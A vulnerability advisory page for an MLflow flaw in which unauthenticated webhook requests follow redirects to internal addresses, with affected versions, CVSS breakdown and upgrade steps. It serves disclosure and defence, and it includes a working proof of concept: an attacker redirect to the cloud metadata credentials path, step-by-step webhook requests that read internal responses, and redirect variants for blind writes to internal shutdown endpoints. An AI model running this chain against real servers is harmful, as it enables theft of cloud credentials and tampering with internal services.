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CVE-2026-64849

CRITICAL

MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)

Published August 17, 2026Updated August 21, 2026Source: osv

Summary

### Summary The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server. ### Details Three facts combine: 1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default. 2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`: ```python schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"] if parsed_url.scheme not in schemes: raise ... if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False for addr_info in socket.getaddrinfo(hostname, None): ip = ipaddress.ip_address(addr_info[4][0]) if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata ``` The resolved IP is never carried into the connection. 3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py: ```python def _create_webhook_session(): adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning ... def _send_webhook_request(webhook, payload, event, session): _validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout) # no allow_redirects=False -> 302 followed; redirect Location never re-validated ``` test_webhook returns response_status and response_body to the caller. Bypass vectors: Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning. ### PoC All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the `/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target. Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; } Step 0 — negative control (proves the guard is active; the naive internal URL is rejected): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} -> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."} (an https://127.0.0.1/ variant is likewise rejected as a non-public IP) <img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" /> Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} -> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}} <img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" /> Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned: POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}} -> 200 {"result":{"success":true,"response_status":200, "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}} <img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" /> Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a local secret service, Step 2 returned: "response_body":"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\nrole=admin\n" For convenience, the "my secret data" is saved in the same location. <img width="730" height="208" alt="image" src="https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c" /> Notes: - Webhook `events` enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase maps to ENTITY_UNSPECIFIED and 500s. - Default allowed scheme is https only; the first hop must be https, the redirect Location may be http. - Webhooks require a SQL store; the default `mlflow server` (sqlite:///mlflow.db) qualifies. No auth needed. - Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder. ### Impact An unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352). ### Fix Fixed in https://github.com/mlflow/mlflow/pull/24258 (commit `ba94952247`), which adds connection-time SSRF protection (`SSRFProtectedHTTPAdapter`): the peer IP of each connected socket is validated against public-IP rules immediately after `connect()`, before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU. ### Redirect variants The same missing re-validation enables two distinct primitives depending on the redirect status code: - **302 (read):** the redirect target is fetched with GET and, because `POST /api/2.0/mlflow/webhooks/{id}/test` reflects the upstream response body (`WebhookTestResult.response_body`), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services). - **307 / 308 (blind write):** these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon `/stop`, Elasticsearch `/_close`, Spring Boot Actuator `/shutdown`). Neither requires authentication on a default OSS server. Then add a fix reference near the top or in a "Remediation" note:

Remediation

Upgrade to the fixed version using your package manager.

pip
Update mlflow to 3.15.0 or later
pip install "mlflow>=3.15.0"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
mlflow
pypi
0.0.1, 0.1.0, 0.2.0, 0.2.1 (+178 more)3.15.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-918
    Server-Side Request Forgery (SSRF)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.3 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Frequently Asked Questions

What is CVE-2026-64849?
MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding) This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.3/10).
How do I check if my project is affected by CVE-2026-64849?
CVE-2026-64849 affects mlflow. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-64849 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.3

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-7gwp-5pfp-969j
BIT-mlflow-2026-64849
PYSEC-2026-3687

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